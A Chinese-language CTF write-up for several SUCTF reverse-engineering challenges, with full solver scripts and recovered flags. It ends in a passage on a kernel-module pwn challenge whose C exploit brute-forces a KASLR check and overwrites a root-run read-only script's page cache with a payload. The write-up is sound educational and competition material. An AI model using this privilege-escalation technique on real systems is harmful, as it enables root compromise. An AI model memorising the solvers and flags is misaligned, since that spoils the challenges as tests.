stream1: 偏移0x2028,长度0x4EEACstream2: 偏移0x50ED4,长度0x0BD0stream3: 偏移0x51AA4,长度0x1408
对应文件:
analysis/stream1_off_2028.binanalysis/stream2_off_50ed4.binanalysis/stream3_off_51aa4.bin
2. 固件拆分
stream2 和 stream3 都是 SMALLFW 自定义封装,里面再按 PART 切片:
stream2:PART:0:xz+zip:1856、PART:1:xz+zip:928、PART:2:xz+zip:1312stream3:PART:0:xz+zip:2028、PART:1:xz+zip:1712、PART:2:gzip:472、PART:3:xz:324
其中 stream2 的 PART:2 只有 ZIP 本地文件头 19 字节(PK...),题目故意给的缺失段。这个分支可以继续做数据修复,但不是最短拿 flag 路径。
3. 入口定位
把 stream1 修成可分析 ELF(analysis/stream1_off_2028_patched.elf)后,主校验链路如下:
main:0x120009E44
上下文生成:
sub_120007FF8
核心校验:
sub_120008658分组变换:
sub_120009938
sub_120008658 的逻辑可以按四层看:


- 输入补齐到 64 字节(不足部分用
17*i) - 一轮
v21混淆(依赖arr4/arr5/arr6) - 4 个 16 字节分组送入
sub_120009938 - 输出 64 字节与常量块比较(常量位于
qword_1200B7F48 - 6208)
4. 关键修正
最初脚本卡在逆推空集,原因是 arr6 生成实现差了一个类型截断。
IDA 伪代码里这一句是:
*(_BYTE *)(v9[6] + j) = sub_120007230((unsigned __int8)(v2 ^ v6), (int)(j % 7 + 1));
重点是先 (unsigned __int8) 再旋转。脚本若直接旋转 64 位值,会把高位污染带进来,后续逆推集合会出现空集。
修正后,候选集合恢复正常,长度唯一候选为 64。
5. 逆向求解
逆推流程:

- 先逆
sub_120009938,把目标 64 字节还原到v23 - 再逆
arr5/arr6/sbox层,得到v21_after - 逆 6 轮字节混淆(前驱集合法),得到每一位输入候选集合
in_sets - 用前缀约束
flag{选取可打印候选并前向回代校验
前向校验通过后得到最终 flag。
7. 解题脚本
#!/usr/bin/env python3
from __future__ import annotations
MASK32 = (1 << 32) - 1
SBOX_AES = bytes.fromhex('637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16')
TABLE256 = bytes.fromhex('48d690e9fecce13db716b614c228fb2c052b679a762abe04c3aa441326498606999c4250f491ef987a33540b43edcfac62e4b31ca9c908e89580df94fa758f3fa64707a7fcf37317ba83593c19e6854fa8686b81b27164da8bf8eb0f4b70569d351e240e5e6358d1a225227c3b01217887d40046579fd327524c3602e7a0c4c89eeabf8ad240c738b5a3f7f2cef96115a1e0ae5da49b341a55ad933230f58cb1e31df6e22e8266ca60c02923ab0d534e6fd5db3745defd8e2f03ff6a726d6c5b518d1baf92bbddbc7f11d95c411f105ad80ac13188a5cd7bbd2d74d012b8e5b4b08969974a0c96777e65b9f109c56ec68418f07dec3adc4d2079ee5f3ed7cb39')
TARGET64 = bytes.fromhex('d4f3c4f159300380e6e5da798a2f43c83cfd028cf61c10aa598b9ab294323b5639e3d8a42b84d57f92a6f84d6da292e50a2c20bba90d14f113c8f374f347d53b')
RK = [2727542678, 3741449865, 2577476410, 3290697982, 4148603830, 4164762864, 192124577, 1839423190, 411619634, 3622021296, 2095560306, 4201061763, 2340328833, 4129720260, 3238376069, 3108428327, 2297189942, 937519822, 381300997, 10879747, 1833203899, 3922829629, 161087214, 3862490404, 859574089, 2917106566, 2265723486, 2257913061, 1157459221, 803243511, 921559630, 2545998410, 2247025865, 1686316465, 1637683384, 3023469902]
ARR4 = [92, 17, 124, 161, 1, 22, 198, 12, 115, 46, 247, 255, 38, 4, 248, 78, 224, 161, 27, 73, 106, 21, 71, 242, 124, 50, 87, 117, 82, 37, 204, 74, 14, 243, 140, 210, 228, 73, 36, 226, 81, 237, 132, 7, 39, 71, 170, 6, 230, 150, 5, 0, 154, 139, 53, 6, 17, 78, 64, 180, 7, 186, 188, 205]
ARR5 = [5, 48, 35, 59, 12, 20, 4, 18, 63, 14, 11, 61, 62, 54, 37, 39, 53, 0, 47, 15, 49, 28, 21, 2, 13, 38, 1, 58, 42, 31, 26, 23, 24, 30, 8, 60, 50, 33, 29, 41, 45, 46, 55, 9, 25, 3, 51, 27, 57, 7, 44, 10, 22, 17, 40, 32, 43, 52, 19, 16, 56, 36, 6, 34]
ARR6 = [50, 60, 40, 128, 32, 0, 128, 16, 56, 200, 16, 32, 128, 128, 40, 100, 112, 240, 128, 128, 0, 150, 124, 32, 208, 192, 0, 0, 48, 180, 184, 240, 32, 128, 128, 118, 204, 168, 96, 96, 64, 128, 170, 112, 88, 80, 0, 64]
ROUND_V6 = [29, 43, 12, 23, 15, 1]
def u32(x: int) -> int:
return x & MASK32
def rol32(x: int, n: int) -> int:
x &= MASK32
return ((x << n) | (x >> (32 - n))) & MASK32
def L_rot_xor(x: int, r: int) -> int:
return rol32(x, r) ^ 0xDEADBEEF
def sub_009104(b: int, t256: bytes) -> int:
return t256[(b + 55) & 0xFF]
def sub_009184(w: int, t256: bytes) -> int:
b3 = (w >> 24) & 0xFF
b2 = (w >> 16) & 0xFF
b1 = (w >> 8) & 0xFF
b0 = w & 0xFF
return (
(sub_009104(b3, t256) << 24)
| (sub_009104(b2, t256) << 16)
| (sub_009104(b1, t256) << 8)
| sub_009104(b0, t256)
)
def sub_0092E8(x: int) -> int:
v1 = L_rot_xor(x, 15) ^ x
return u32(v1 ^ L_rot_xor(x, 23) ^ 0xCAFEBABE)
def sub_009714(x: int) -> int:
v1 = L_rot_xor(x, 3) ^ x
v2 = v1 ^ L_rot_xor(x, 11)
v3 = v2 ^ L_rot_xor(x, 19)
return u32(v3 ^ L_rot_xor(x, 27) ^ 0x12345678)
def sub_0093A0(x: int, t256: bytes) -> int:
return sub_0092E8(sub_009184(x, t256))
def sub_009810(x: int, t256: bytes) -> int:
return sub_009714(sub_009184(x, t256))
def F_round(a0: int, a1: int, a2: int, a3: int, rk: int, t256: bytes) -> int:
return u32((sub_009810(a1 ^ a2 ^ a3 ^ rk, t256) ^ a0) + 4919)
def block_encrypt(words: list[int], rk: list[int], t256: bytes) -> list[int]:
s0, s1, s2, s3 = [u32(w ^ 0xAAAAAAAA) for w in words]
for j in range(34):
idx = (j & 0x1F) + 4
newv = F_round(s0, s1, s2, s3, rk[idx], t256)
s0, s1, s2, s3 = s1, s2, s3, newv
if j in (8, 16, 24):
s0 = u32(s0 ^ 0x55555555)
s1 = u32(s1 ^ 0xAAAAAAAA)
t = s0
s0 = u32(s3 ^ 0x12345678)
s3 = u32(t ^ 0x87654321)
t = s1
s1 = u32(s2 ^ 0xABCDEF01)
s2 = u32(t ^ 0x10FEDCBA)
return [s0, s1, s2, s3]
def block_decrypt(out_words: list[int], rk: list[int], t256: bytes) -> list[int]:
s0_new, s1_new, s2_new, s3_new = [u32(x) for x in out_words]
s3 = u32(s0_new ^ 0x12345678)
s0 = u32(s3_new ^ 0x87654321)
s2 = u32(s1_new ^ 0xABCDEF01)
s1 = u32(s2_new ^ 0x10FEDCBA)
for j in range(33, -1, -1):
if j in (8, 16, 24):
s0 = u32(s0 ^ 0x55555555)
s1 = u32(s1 ^ 0xAAAAAAAA)
idx = (j & 0x1F) + 4
p1, p2, p3 = s0, s1, s2
p0 = u32((s3 - 4919) ^ sub_009810(p1 ^ p2 ^ p3 ^ rk[idx], t256))
s0, s1, s2, s3 = p0, p1, p2, p3
return [u32(s0 ^ 0xAAAAAAAA), u32(s1 ^ 0xAAAAAAAA), u32(s2 ^ 0xAAAAAAAA), u32(s3 ^ 0xAAAAAAAA)]
def solve() -> str:
v23 = bytearray(64)
for bi in range(4):
blk = TARGET64[16 * bi : 16 * bi + 16]
out_words = [int.from_bytes(blk[4 * i : 4 * i + 4], 'big') for i in range(4)]
in_words = block_decrypt(out_words, RK, TABLE256)
for i, w in enumerate(in_words):
v23[16 * bi + 4 * i : 16 * bi + 4 * i + 4] = w.to_bytes(4, 'big')
inv_aes = [0] * 256
for i, b in enumerate(SBOX_AES):
inv_aes[b] = i
v21_after = [0] * 64
for j in range(64):
t = v23[j] ^ ARR4[j]
u = inv_aes[t]
pos = ARR5[j] & 0x3F
v21_after[pos] = u ^ ARR6[j % 48]
v21_sets = [set([v21_after[j]]) for j in range(64)]
for ri in range(5, -1, -1):
v6 = ROUND_V6[ri]
next_sets = []
add_round = (13 * ri) & 0xFF
for j in range(64):
targets = v21_sets[j]
add = (v6 + j + ri) & 0xFF
preds = set()
for b0 in range(256):
b = b0 ^ add
b = ((b << 1) | (b >> 7)) & 0xFF
y = b ^ SBOX_AES[(b + add_round) & 0xFF]
if y in targets:
preds.add(b0)
next_sets.append(preds)
v21_sets = next_sets
in_sets = []
for i in range(64):
mask = (ARR4[(7 * i) & 0x3F] + i) & 0xFF
in_sets.append({b ^ mask for b in v21_sets[i]})
n_candidates = []
for n in range(65):
ok = True
for i in range(n, 64):
if ((17 * i) & 0xFF) not in in_sets[i]:
ok = False
break
if ok:
n_candidates.append(n)
def verify_message(msg: bytes, n: int) -> bool:
v21 = bytearray(64)
for i in range(64):
src = msg[i] if i < n else ((17 * i) & 0xFF)
mask = (ARR4[(7 * i) & 0x3F] + i) & 0xFF
v21[i] = src ^ mask
for ri in range(6):
v6 = ROUND_V6[ri]
for j in range(64):
v21[j] ^= (v6 + j + ri) & 0xFF
v21[j] = ((v21[j] << 1) | (v21[j] >> 7)) & 0xFF
v21[j] ^= SBOX_AES[(v21[j] + 13 * ri) & 0xFF]
v23_fwd = bytearray(64)
for j in range(64):
t = (v21[ARR5[j] & 0x3F] ^ ARR6[j % 48]) & 0xFF
v23_fwd[j] = SBOX_AES[t] ^ ARR4[j]
v24 = bytearray(64)
for bi in range(4):
words = [int.from_bytes(v23_fwd[16 * bi + 4 * i : 16 * bi + 4 * i + 4], 'big') for i in range(4)]
out = block_encrypt(words, RK, TABLE256)
for i, w in enumerate(out):
v24[16 * bi + 4 * i : 16 * bi + 4 * i + 4] = w.to_bytes(4, 'big')
return bytes(v24) == TARGET64
prefixes = [b'flag{', b'SUCTF{']
for n in n_candidates:
for pref in prefixes:
if n < len(pref):
continue
if any(pref[i] not in in_sets[i] for i in range(len(pref))):
continue
cand = bytearray(n)
for i in range(n):
if i < len(pref):
cand[i] = pref[i]
else:
printable = sorted(x for x in in_sets[i] if 32 <= x < 127)
cand[i] = printable[0] if printable else min(in_sets[i])
if verify_message(bytes(cand), n):
return bytes(cand).decode('ascii')
raise RuntimeError('failed to reconstruct flag')
if __name__ == '__main__':
print('[FLAG]', solve())
Flag
flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}
SU_Revird
题目附件有两个文件:chal.exe 和 Revird.sys。
先看 chal.exe,很容易在一个分支里找到长度为 0x30 的异或校验,恢复出:
SUCTF{fake_flag_ohh_oh_fake_flag_oh_yeah_yeah!!}
fake flag。继续跟真正的校验分支,发现它是用一套自定义 AES 风格逻辑解密出第二阶段 PE。离线解密后得到 stage2.bin。
分析 stage2.bin 可见它会打开设备 \.\Revird,通过 DeviceIoControl 和驱动通信,并将输入经过一套块加密后与内置 64 字节目标值比较。驱动 Revird.sys 支持 0x222000,其命令 2/3/4/5/6 分别对应 SubBytes/ShiftRows/MixColumns/AddRoundKey 一类的 AES 轮操作。
关键点在于:stage2.bin 中通过异常处理器转发到真正的驱动逻辑。实现了一套魔改 AES-CBC。
继续还原后可知:
用户态有一套 key schedule
驱动也有一套 key schedule
实际轮密钥是两者逐字节异或
S-box 为自定义表
模式为 CBC,IV 固定
目标密文位于 stage2.bin 的比较常量区
按该算法逆向解密目标 64 字节密文,去掉 PKCS#7 padding,得到明文:
SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}
SU_MusicPlayer
该程序为Electron类型的程序,使用asar工具对其进行解包得到如下文件


分析一下sumv-browser.js有混淆直接丢给AI分析内容大致流程如下
- 将输入转为
Uint8Array,确保长度至少16字节。 - 验证前4个字节是否为魔术字
'SUMV',否则报错。 - 读取第5字节作为
version,第7字节作为formatCode(第6字节和后续保留)。 - 以小端序读取第8
11字节作为15字节作为uncompressedSize(解压后大小),第12compressedSize(压缩数据大小)。 - 提取从偏移16开始的
compressedSize字节作为压缩数据块。 - 调用
_0x5bb006解压缩该数据块,得到uncompressedSize长度的中间数据。 - 对中间数据执行RC4解密(密钥
'SUMUSICPLAYER'),得到最终载荷。 - 返回包含
version、formatCode、isValid: true和payload(解密后的Uint8Array)的对象
继续分析native-bridge.js其中有两个加密placeholderVmEncrypt是一个假的算法,真正的算法在native模块vm_encryptor.node中,通过这个napi_register_module_v1发现里面在创建函数sub_180007380这个就是我们需要逆向的关键点

读取输入并且校验传入的文件是不是一个RIFF(这个wav文件头)也就是说在Js层通过解压缩算法和RC4得到的结果就是一个wav,通过这个native层的加密得到了最后的加密文件,我们要获得wav文件的md5只需要逆Native层的加密即可

校验通过后会调用sub_180001380对其加密,加密逻辑使用VM实现较为复杂请出AI大人分析
分块方式
去掉文件头 SVE4 后,body 按 64 字节一块处理。
明文 padding 规则是 PKCS7 风格,但块大小是 64:
pad = 64 - (len(data) % 64)
if pad == 0:
pad = 64
data += bytes([pad]) * pad
每块按大端 32 位拆成 16 个 word
每个 64-byte block 拆成:
M[0..15]- 前 8 个 word 记为
L - 后 8 个 word 记为
R
初始链状态
INIT_STATE = [
0x00010203, 0x04050607, 0x08090a0b, 0x0c0d0e0f,
0x10111213, 0x14151617, 0x18191a1b, 0x1c1d1e1f
]
轮常量
BASE216 = 0x73756572
DELTA = 0x70336364
C1 = 0x62616f7a
C2 = 0x6f6e6777
C3 = 0x696e6221
每块 4 轮
每轮先根据当前 state 派生 round key,再做可逆变换和 Feistel 混合。
轮密钥更新
K[0] = (rol32(K[1] ^ c216, 3) + K[0]) & MASK
K[1] = (rol32(K[2] ^ K[0], 5) + K[1]) & MASK
K[2] = (rol32(K[3] ^ K[1], 7) + K[2]) & MASK
K[3] = (rol32(K[4] ^ K[2], 11) + K[3]) & MASK
K[4] = (rol32(K[5] ^ K[3], 13) + K[4]) & MASK
K[5] = (rol32(K[6] ^ K[4], 17) + K[5]) & MASK
K[6] = (rol32(K[7] ^ K[5], 19) + K[6]) & MASK
K[7] = (rol32(K[0] ^ K[6], 23) + K[7]) & MASK
派生子密钥
A0 = (K[0] ^ K[2] ^ c216) & MASK
A1 = (K[1] ^ K[3] ^ ((c216 + C1) & MASK)) & MASK
A2 = (K[4] ^ K[6] ^ ((c216 + C2) & MASK)) & MASK
A3 = (K[5] ^ K[7] ^ ((c216 + C3) & MASK)) & MASK
B0 = (K[0] + K[4]) & MASK
B1 = (K[1] + K[5]) & MASK
B2 = (K[2] + K[6]) & MASK
B3 = (K[3] + K[7]) & MASK
D0 = (K[0] ^ K[5]) & MASK
D1 = (K[1] ^ K[6]) & MASK
D2 = (K[2] ^ K[7]) & MASK
D3 = (K[3] ^ K[4]) & MASK
G 变换
对 R 按 4 组 pair 做:
a1 = ((ror32(a, 8) + b) & MASK) ^ A
b1 = rol32(b, 3) ^ a1
逆变换:
b = ror32(b1 ^ a1, 3)
a = rol32(((a1 ^ A) - b) & MASK, 8)
H 混合
我恢复出来的 8 个输出 word 是:
f0 = ((((R1[0] << 4) & MASK) ^ (R1[0] >> 5)) + R1[1]) & MASK
f0 = (f0 ^ ((c220 + B0) & MASK))
f0 = (f0 + (rol32(R1[3], 1) ^ (c220 >> 1))) & MASK
f1 = ((((R1[1] << 4) & MASK) ^ (R1[1] >> 5)) + R1[2]) & MASK
f1 = (f1 ^ ((c220 + B1) & MASK))
f1 = (f1 + (rol32(R1[4], 2) ^ (c220 >> 2))) & MASK
f2 = ((((R1[2] << 4) & MASK) ^ (R1[2] >> 5)) + R1[3]) & MASK
f2 = (f2 ^ ((c220 + B2) & MASK))
f2 = (f2 + (rol32(R1[5], 3) ^ (c220 >> 3))) & MASK
f3 = ((((R1[3] << 4) & MASK) ^ (R1[3] >> 5)) + R1[4]) & MASK
f3 = (f3 ^ ((c220 + B3) & MASK))
f3 = (f3 + (rol32(R1[6], 4) ^ (c220 >> 4))) & MASK
f4 = ((((R1[4] << 4) & MASK) ^ (R1[4] >> 5)) + R1[5]) & MASK
f4 = (f4 ^ ((c220 + D0) & MASK))
f4 = (f4 + (rol32(R1[7], 5) ^ (c220 >> 5))) & MASK
f5 = ((((R1[5] << 4) & MASK) ^ (R1[5] >> 5)) + R1[6]) & MASK
f5 = (f5 ^ ((c220 + D1) & MASK))
f5 = (f5 + (rol32(R1[0], 6) ^ (c220 >> 6))) & MASK
f6 = ((((R1[6] << 4) & MASK) ^ (R1[6] >> 5)) + R1[7]) & MASK
f6 = (f6 ^ ((c220 + D2) & MASK))
f6 = (f6 + (rol32(R1[1], 7) ^ (c220 >> 7))) & MASK
f7 = ((((R1[7] << 4) & MASK) ^ (R1[7] >> 5)) + R1[0]) & MASK
f7 = (f7 ^ ((c220 + D3) & MASK))
f7 = (f7 + (rol32(R1[2], 8) ^ (c220 >> 0))) & MASK
加密轮更新
R1 = G(R, A0, A1, A2, A3)
Fv = H(R1, subkeys)
newL = R1
newR = L ^ Fv
下一块链状态
每个密文块 C = L || R 生成下一块 state:
state_next[i] = C[i] ^ C[i + 8]
Exp:
from pathlib import Path
import struct
import hashlib
import sys
MASK = 0xffffffff
BASE216 = 0x73756572
DELTA = 0x70336364
C1 = 0x62616f7a
C2 = 0x6f6e6777
C3 = 0x696e6221
INIT_STATE = [
0x00010203, 0x04050607, 0x08090a0b, 0x0c0d0e0f,
0x10111213, 0x14151617, 0x18191a1b, 0x1c1d1e1f
]
def rol32(x, n):
x &= MASK
n &= 31
return ((x << n) | (x >> (32 - n))) & MASK
def ror32(x, n):
x &= MASK
n &= 31
return ((x >> n) | (x << (32 - n))) & MASK
def schedule_round(K, c216, c220):
K = K[:]
K[0] = (rol32(K[1] ^ c216, 3) + K[0]) & MASK
K[1] = (rol32(K[2] ^ K[0], 5) + K[1]) & MASK
K[2] = (rol32(K[3] ^ K[1], 7) + K[2]) & MASK
K[3] = (rol32(K[4] ^ K[2], 11) + K[3]) & MASK
K[4] = (rol32(K[5] ^ K[3], 13) + K[4]) & MASK
K[5] = (rol32(K[6] ^ K[4], 17) + K[5]) & MASK
K[6] = (rol32(K[7] ^ K[5], 19) + K[6]) & MASK
K[7] = (rol32(K[0] ^ K[6], 23) + K[7]) & MASK
A0 = (K[0] ^ K[2] ^ c216) & MASK
A1 = (K[1] ^ K[3] ^ ((c216 + C1) & MASK)) & MASK
A2 = (K[4] ^ K[6] ^ ((c216 + C2) & MASK)) & MASK
A3 = (K[5] ^ K[7] ^ ((c216 + C3) & MASK)) & MASK
B0 = (K[0] + K[4]) & MASK
B1 = (K[1] + K[5]) & MASK
B2 = (K[2] + K[6]) & MASK
B3 = (K[3] + K[7]) & MASK
D0 = (K[0] ^ K[5]) & MASK
D1 = (K[1] ^ K[6]) & MASK
D2 = (K[2] ^ K[7]) & MASK
D3 = (K[3] ^ K[4]) & MASK
return K, (A0, A1, A2, A3, B0, B1, B2, B3, D0, D1, D2, D3, c220)
def round_keys_for_state(state):
K = state[:]
c216 = BASE216
c220 = 0
rounds = []
for add216 in [DELTA, DELTA + 1, DELTA + 2, DELTA + 3]:
c216 = (c216 + add216) & MASK
c220 = (c220 + DELTA) & MASK
K, sub = schedule_round(K, c216, c220)
rounds.append(sub)
return rounds
def G(R, A0, A1, A2, A3):
r = list(R)
t = (ror32(r[0], 8) + r[1]) & MASK
r[0] = (t ^ A0) & MASK
r[1] = (rol32(r[1], 3) ^ r[0]) & MASK
t = (ror32(r[2], 8) + r[3]) & MASK
r[2] = (t ^ A1) & MASK
r[3] = (rol32(r[3], 3) ^ r[2]) & MASK
t = (ror32(r[4], 8) + r[5]) & MASK
r[4] = (t ^ A2) & MASK
r[5] = (rol32(r[5], 3) ^ r[4]) & MASK
t = (ror32(r[6], 8) + r[7]) & MASK
r[6] = (t ^ A3) & MASK
r[7] = (rol32(r[7], 3) ^ r[6]) & MASK
return r
def G_inv(R1, A0, A1, A2, A3):
r = list(R1)
b = ror32(r[1] ^ r[0], 3)
a = rol32(((r[0] ^ A0) - b) & MASK, 8)
r[0], r[1] = a, b
b = ror32(r[3] ^ r[2], 3)
a = rol32(((r[2] ^ A1) - b) & MASK, 8)
r[2], r[3] = a, b
b = ror32(r[5] ^ r[4], 3)
a = rol32(((r[4] ^ A2) - b) & MASK, 8)
r[4], r[5] = a, b
b = ror32(r[7] ^ r[6], 3)
a = rol32(((r[6] ^ A3) - b) & MASK, 8)
r[6], r[7] = a, b
return r
def H(R, sub):
A0, A1, A2, A3, B0, B1, B2, B3, D0, D1, D2, D3, c220 = sub
r = R
f0 = (((((r[0] << 4) & MASK) ^ (r[0] >> 5)) + r[1]) & MASK)
f0 = (f0 ^ ((c220 + B0) & MASK))
f0 = (f0 + (rol32(r[3], 1) ^ (c220 >> 1))) & MASK
f1 = (((((r[1] << 4) & MASK) ^ (r[1] >> 5)) + r[2]) & MASK)
f1 = (f1 ^ ((c220 + B1) & MASK))
f1 = (f1 + (rol32(r[4], 2) ^ (c220 >> 2))) & MASK
f2 = (((((r[2] << 4) & MASK) ^ (r[2] >> 5)) + r[3]) & MASK)
f2 = (f2 ^ ((c220 + B2) & MASK))
f2 = (f2 + (rol32(r[5], 3) ^ (c220 >> 3))) & MASK
f3 = (((((r[3] << 4) & MASK) ^ (r[3] >> 5)) + r[4]) & MASK)
f3 = (f3 ^ ((c220 + B3) & MASK))
f3 = (f3 + (rol32(r[6], 4) ^ (c220 >> 4))) & MASK
f4 = (((((r[4] << 4) & MASK) ^ (r[4] >> 5)) + r[5]) & MASK)
f4 = (f4 ^ ((c220 + D0) & MASK))
f4 = (f4 + (rol32(r[7], 5) ^ (c220 >> 5))) & MASK
f5 = (((((r[5] << 4) & MASK) ^ (r[5] >> 5)) + r[6]) & MASK)
f5 = (f5 ^ ((c220 + D1) & MASK))
f5 = (f5 + (rol32(r[0], 6) ^ (c220 >> 6))) & MASK
f6 = (((((r[6] << 4) & MASK) ^ (r[6] >> 5)) + r[7]) & MASK)
f6 = (f6 ^ ((c220 + D2) & MASK))
f6 = (f6 + (rol32(r[1], 7) ^ (c220 >> 7))) & MASK
f7 = (((((r[7] << 4) & MASK) ^ (r[7] >> 5)) + r[0]) & MASK)
f7 = (f7 ^ ((c220 + D3) & MASK))
f7 = (f7 + (rol32(r[2], 8) ^ (c220 >> 0))) & MASK
return [f0, f1, f2, f3, f4, f5, f6, f7]
def words_from_bytes_be(block):
return list(struct.unpack(">16I", block))
def bytes_from_words_be(words):
return struct.pack(">" + "I" * len(words), *words)
def decrypt_block(words16, state):
L = list(words16[:8])
R = list(words16[8:])
rounds = round_keys_for_state(state)
for sub in reversed(rounds):
R1 = L
Fv = H(R1, sub)
L_old = [(r ^ f) & MASK for r, f in zip(R, Fv)]
R_old = G_inv(R1, *sub[:4])
L, R = L_old, R_old
P = L + R
next_state = [(words16[i] ^ words16[i + 8]) & MASK for i in range(8)]
return P, next_state
def unpad(data):
if not data or len(data) % 64 != 0:
raise ValueError("bad ciphertext length")
p = data[-1]
if p < 1 or p > 64 or data[-p:] != bytes([p]) * p:
raise ValueError("bad padding")
return data[:-p]
def decrypt_bytes(data):
if len(data) % 64 != 0:
raise ValueError("cipher body length must be multiple of 64")
st = INIT_STATE[:]
out = bytearray()
for i in range(0, len(data), 64):
w = words_from_bytes_be(data[i:i+64])
p, st = decrypt_block(w, st)
out += bytes_from_words_be(p)
return unpad(bytes(out))
def main():
if len(sys.argv) < 2:
print(f"usage: python {sys.argv[0]} ddd.su_mv_enc [output.wav]")
return
in_path = Path(sys.argv[1])
out_path = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("decrypted.wav")
blob = in_path.read_bytes()
if not blob.startswith(b"SVE4"):
raise ValueError("bad magic, expected SVE4")
wav = decrypt_bytes(blob[4:])
out_path.write_bytes(wav)
md5 = hashlib.md5(wav).hexdigest()
print("[+] output:", out_path)
print("[+] md5 :", md5)
print("[+] flag : SUCTF{" + md5 + "}")
if __name__ == "__main__":
main()
PWN
SU_Chronos_Ring1
题目在init脚本中启动了启动了一个后台死循环,以 root 权限每隔 3 秒执行一次 /tmp/job,/tmp/job 是由 root 创建的,正常用户只能读不能写
echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
while true; do
/bin/sh /tmp/job > /dev/null 2>&1
sleep 3
done
) &
而在漏洞模块中chronos_ioctl 实现了核心的状态机,包含了命令 4097 到 4106:
4097(Init Buffer): 分配Buffer结构体,并分配一页物理内存(4096字节)。4098(Secret Config): 接收用户数据,进行异或运算验证:((unsigned int)v61 ^ src ^ ((unsigned __int64)&kfree >> 4) & 0xFFFFFFFFFFFE0000LL) != 0xF372FE94F82B3C6ELL用户必须提供特定的值,该值与内核函数kfree的地址相关,验证通过后置位ctx->flags |= 1。4099(Pin User Page): 使用pin_user_pages_fast将用户态的一个虚拟内存页锁定在物理内存中,防止被换出,并将指针保存在 Buffer 中。置位ctx->flags |= 2。4100(Map File Cache): 从用户态接收一个文件描述符 (FD),通过fget获取 file 对象,并使用read_cache_page读取文件的页缓存。置位ctx->flags |= 4。4101(Create View): 如果ctx->flags包含状态2,则分配一个View结构。它根据当前状态,要么分配新内存页,要么引用已有的文件缓存页(Folio引用计数_InterlockedIncrement)。4102(Cleanup State): 清理特定的状态,减少引用计数 (fput,_folio_put),清除ctx->flags的特定位。4103(Write Data): 从用户态拷贝数据到内核 Buffer 中。包含了越界检查。4104(Sync View to Buffer): 使用_rcu_read_lock()保护,将 View 中的数据memcpy拷贝回主 Buffer 中。如果是文件缓存页,调用set_page_dirty标记脏页以便回写。4105(Read State): 将当前的内部标志位(Flags, Sizes 等状态机信息)拷贝回用户空间。4106(Free Buffer): 置空ctx中的指针,并调用call_rcu(..., chronos_buf_rcu_cb)进行异步的垃圾回收
我们可以利用漏洞模块来改写只读文件/tmp/job,使其以root权限执行我们的恶意脚本
- 打开目标文件:在用户态以只读权限打开文件:
int fd = open("/tmp/job", O_RDONLY); - 初始化 Buffer:调用
ioctl(dev_fd, 4097)初始化chronos_ring的内核缓冲区。 - 绕过检查:调用
ioctl(dev_fd, 4098, &magic_data)绕过基于 KASLR (kfree地址) 的异或校验,我们可以使用爆破的方式破解检查。 - 绑定文件缓存:调用
ioctl(dev_fd, 4100, &fd),让内核模块获取/tmp/job的页缓存。 - 创建视图并写入恶意代码:
- 构造恶意 Shell 脚本代码(如
#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag\n)。 - 调用
ioctl(dev_fd, 4101)和ioctl(dev_fd, 4104),利用内核模块提供的memcpy和set_page_dirty(),将恶意代码强制写入/tmp/job的页缓存中。
- 构造恶意 Shell 脚本代码(如
exp
#include "kernelpwn.h"
// --- IOCTL Macros ---
#define CHRONOS_ALLOC 4097
#define CHRONOS_AUTH 4098
#define CHRONOS_PIN_PAGE 4099
#define CHRONOS_FILE_CACHE 4100
#define CHRONOS_CREATE_VIEW 4101
#define CHRONOS_FREE_CACHE 4102
#define CHRONOS_WRITE_BUF 4103
#define CHRONOS_SYNC_VIEW 4104
#define CHRONOS_INFO_LEAK 4105
#define CHRONOS_DESTROY 4106
struct arg_4098 {
uint64_t src;
uint64_t v61;
};
int seq_fd[0x20];
struct arg_sync {
uint64_t dummy; // 占位
uint32_t size; // 拷贝大小
uint32_t offset; // 内存偏移
};
void bypass_kaslr_check(int fd) {
uint64_t target = 0xF372FE94F82B3C6EULL;
int success = 0;
printf("[*] Starting KASLR magic check brute-force...\n");
for (int i = 0; i < 2048; i++) {
uint64_t base_2mb = 0xffffffff80000000ULL + ((uint64_t)i * 0x200000ULL);
uint64_t k = (base_2mb >> 4) & 0xFFFFFFFFFFFE0000ULL;
struct arg_4098 payload = {0};
payload.v61 = 0;
payload.src = target ^ k;
if (ioctl(fd, CHRONOS_AUTH, &payload) == 0) {
printf("[+] KASLR bypassed successfully!\n");
printf("[+] Discovered kernel text 2MB base: 0x%lx\n", base_2mb);
success = 1;
break;
}
}
if (!success) {
printf("[-] Failed to bypass KASLR check.\n");
exit(-1);
}
}
void exploit()
{
int target_fd, job_fd;
char *p;
target_fd = open("/dev/chronos_ring", O_RDWR);
job_fd = open("/tmp/job", O_RDONLY);
if (target_fd < 0 || job_fd < 0) {
perror("[-] open failed");
exit(-1);
}
printf("[*] Allocating kernel buffer...\n");
if (ioctl(target_fd, CHRONOS_ALLOC, 0) < 0) {
perror("[-] ioctl alloc");
exit(-1);
}
bypass_kaslr_check(target_fd);
printf("[*] Mapping physical page to user space...\n");
p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, target_fd, 0);
if (p == MAP_FAILED) {
perror("[-] mmap failed");
exit(-1);
}
const char* payload = "#!/bin/sh\ncat /flag > /tmp/flag\nchmod 777 /tmp/flag\n";
strcpy(p, payload);
uint32_t payload_len = strlen(payload);
printf("[+] Wrote payload to mapped region.\n");
printf("[*] Binding /tmp/job page cache...\n");
uint64_t fd_arg = job_fd;
if (ioctl(target_fd, CHRONOS_FILE_CACHE, &fd_arg) < 0) {
perror("[-] ioctl file cache");
exit(-1);
}
printf("[*] Pinning dummy user page to satisfy View checks...\n");
